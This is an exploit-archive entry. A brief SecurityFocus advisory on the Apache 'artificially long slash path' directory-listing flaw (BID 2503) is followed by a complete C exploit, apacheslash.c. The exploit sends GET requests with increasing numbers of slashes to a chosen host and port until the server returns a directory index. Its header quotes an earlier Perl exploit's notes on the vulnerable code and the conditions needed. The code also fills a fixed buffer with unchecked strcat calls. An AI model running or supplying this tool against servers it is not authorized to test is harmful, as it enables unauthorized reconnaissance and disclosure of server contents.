// source: https://www.securityfocus.com/bid/2503/info
Apache HTTPD is the Apache Web Server, freely distributed and actively maintained by the Apache Software Foundation. It is a freely available and widely used software package, included with various implementations of the UNIX operating system and can be used on Microsoft Windows operating systems.
A problem in the package could allow directory indexing and path discovery. In a default configuration, Apache enables mod_dir, mod_autoindex, and mod_negotiation. However, by sending the Apache server a custom-crafted request consisting of a long path name created artificially by using numerous slashes, an attacker can cause these modules to misbehave, allowing the attacker to escape the error page and to gain a listing of the directory contents.
This vulnerability allows a malicious remote user to launch an information-gathering attack, which could potentially result in a compromise of the system. Additionally, this vulnerability affects all releases of Apache previous to 1.3.19.
/*
Program: apacheslash.c
Original Date: 2-21-02
Version: 1.0
Platform: Linux (compiled on SuSE 7.3)
c0der: st0ic
site: www.fsix.net
e-mail: st0ic@blackcodemail.com
Revised:
NONE thus far
Description: This program tests an Apache installation for the "Apache Artificially Long Slash Path
Directory Listing Exploit." See SecurityFocus.com BID 2503 - http://online.securityfocus.com/bid/2503
Compile: gcc apacheslash.c -o apacheslash
Stuff: I know theres already 3 Perl scripts that test this bug out, but there execution time is horrible
so I was bored and decided to recode it in C for execution speed sake. On my box, I think it took
about 8 mins to send 1000 /'s to apache with apache2.pl. It takes about 2 seconds with this program.
BTW, SuSE 7.3 comes with Apache 1.3.20, which is NOT vulnerable :-). Check out the securityfocus.com
BID 2503 to find out whats vulnerable and whats not.
I also included the comments from apache2.pl exploit which was modified
by Siberian of sentry-labs.com. Read below for the details:
/*************************************************
#!/usr/bin/perl
#
# orginal by farm9, Inc. (copyright 2001)
# new modified code by Siberian (www.sentry-labs.com)
#
########################################################################################
#
# Note: This isn't the orginal exploit! This one was modified and partly rewritten.
#
# Changes:
#
# - help added (more user firendly :-) )
# - messages added
# - exploit is now able to be executed on WinNT or 2k.
# - uses perl version of BSD sockets (compatible to Windows)
#
# Rewriter's Note: I rewrote (I was bored to death that evening :-) ) some
# of the code and made it esaier to use and cross platform compatible.
# The old verion used a esaier but not that compaible way of socket stream communication.
# Any network code was replaced by cross platform compatible BSD sockets.
# (much better than any other stream method :-) )
#
# Tested with Perl 5.6 (Linux) and ActivePerl 5.6 (Win32)
#
# Original comment and source is attached below.
#
########################################################################################
#
# Name: Apache Artificially Long Slash Path Directory Listing Exploit
# Author: Matt Watchinski
# Ref: SecurityFocus BID 2503
#
# Affects: Apache 1.3.17 and below
# Tested on: Apache 1.3.12 running on Debian 2.2
#
# Info: This exploit tricks apache into returning a Index of the a directory
# even if an index.html file is present. May not work on some OS's
#
# Details: http_request.c has a subroutine called ap_sub_req_lookup_file that in
# very specific cases would feed stat() a filename that was longer than
# stat() could handle. This would result in a condition where stat()
# would return 0 and a directory index would be returned instead of the
# default index.html.
#
# Code Fragment: /src/main/http_request.c
# if (strchr(new_file, '/') == NULL) {
# char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);
#
# rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
# rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
# ap_parse_uri(rnew, rnew->uri); /* fill in parsed_uri values */ /*
# if (stat(rnew->filename, &rnew->finfo) < 0) { <-- Important part
# rnew->finfo.st_mode = 0;
# }
#
# Conditions: Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled
# The directory must also have the following Options enabled:
# Indexes and MultiView
# Some OS's have different conditions on the number of character
# you have to pass to stat to make this work. If stat doesn't
# return 0 for path names less than 8192 or so internal apache
# buffer checks will stop this exploit from working.
#
# Debian needed around 4060 /'s to make this work.
#
# Greets: Special thanks to natasha who added a lot of debug to apache for me
# while i was trying to figure out what had to be enabled to make this
# exploit work. Also thanks to rfp for pointing out that MultiView
# needed to be enabled.
#
# More Greets: Jeff for not shooting me :) <All your Cisco's belong to us>
# Anne for being so sexy <I never though corporate espionage
# would be so fun>
# All my homies at farm9
# DJ Charles / DJ NoloN for the phat beats
# Marty (go go gadget snort)
# All my ex-bees
# RnVjazpIaXZlcndvcmxk
#
# I think that wraps it up. Have fun.
-----snip snip----
**************************************************/
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
char tmp[10240];
char output[10240];
char *get = "GET ";
char *slash = "/";
char *http = " HTTP/1.0\r\n";
char *end = "\r\n\r\n";
int c, x;
int port;
int low;
int max;
int sockfd;
int bytes_recieved;
int count;
char *addr;
struct sockaddr_in dest_addr;
struct hostent *he;
void usage(char *ptr)
{
fprintf(stderr, "\n\t%s <-h host> <-p port> <-l LOW> <-m MAX>", ptr);
fprintf(stderr, "\n\tExample: %s -h 127.0.0.1 -p 80 -l 1 -m 1000\n", ptr);
fprintf(stderr, "\n\tLOW is how many /'s to start with and MAX is how many /'s to end with.\n\n");
exit(1);
}
int main(int argc, char *argv[])
{
printf("\n\t[ apacheslash.c ]");
printf("\n\t[ c0ded by st0ic ]");
printf("\n\t[ Fsix.Net ]");
printf("\n\t[ st0ic@happyhack.zzn.com ]\n\n");
while ( ( c = getopt(argc, argv, "h:p:l:m:") ) != -1)
{
switch(c)
{
case 'h':
{
addr = optarg;
break;
}
case 'p':
{
port = atoi(optarg);
break;
}
case 'l':
{
low = atoi(optarg);
break;
}
case 'm':
{
max = atoi(optarg);
break;
}
default:
usage(argv[0]);
}
}
if ( low > max || addr == NULL )
usage(argv[0]);
if ( (he = gethostbyname(addr)) == NULL)
{
perror("gethostbyname");
exit(1);
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_addr = *( (struct in_addr *) he->h_addr);
dest_addr.sin_port = htons(port);
memset (&dest_addr.sin_zero, 0, 8);
printf("\t\n....Working....\n");
while (low <= max)
{
count = low;
bzero(tmp, sizeof(tmp) );
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0) ) == -1)
{
perror("socket");
break;
}
if (connect (sockfd, (struct sockaddr_in *) &dest_addr, sizeof(dest_addr) ) == -1)
{
perror("connect");
exit(1);
}
strcpy(tmp, get);
/* copy the necessary slashes. */
for(x = 0; x < count; x++)
strcat(tmp, slash);
strcat(tmp, http);
strcat(tmp, end);
send(sockfd, tmp, sizeof(tmp), 0);
bytes_recieved = 1;
while(bytes_recieved > 0)
{
bytes_recieved = recv(sockfd, output, sizeof(output), 0);
if ( (strstr(output, "Index of") ) != NULL)
{
printf("\n\tNumber of \"/\"'s required to generate a directory listing = %d\n", low);
close(sockfd);
exit(0);
}
}
low++;
close(sockfd);
}
printf("\nHost does not appear to be vulnerable. Maybe try some different numbers...\n");
return 0;
}
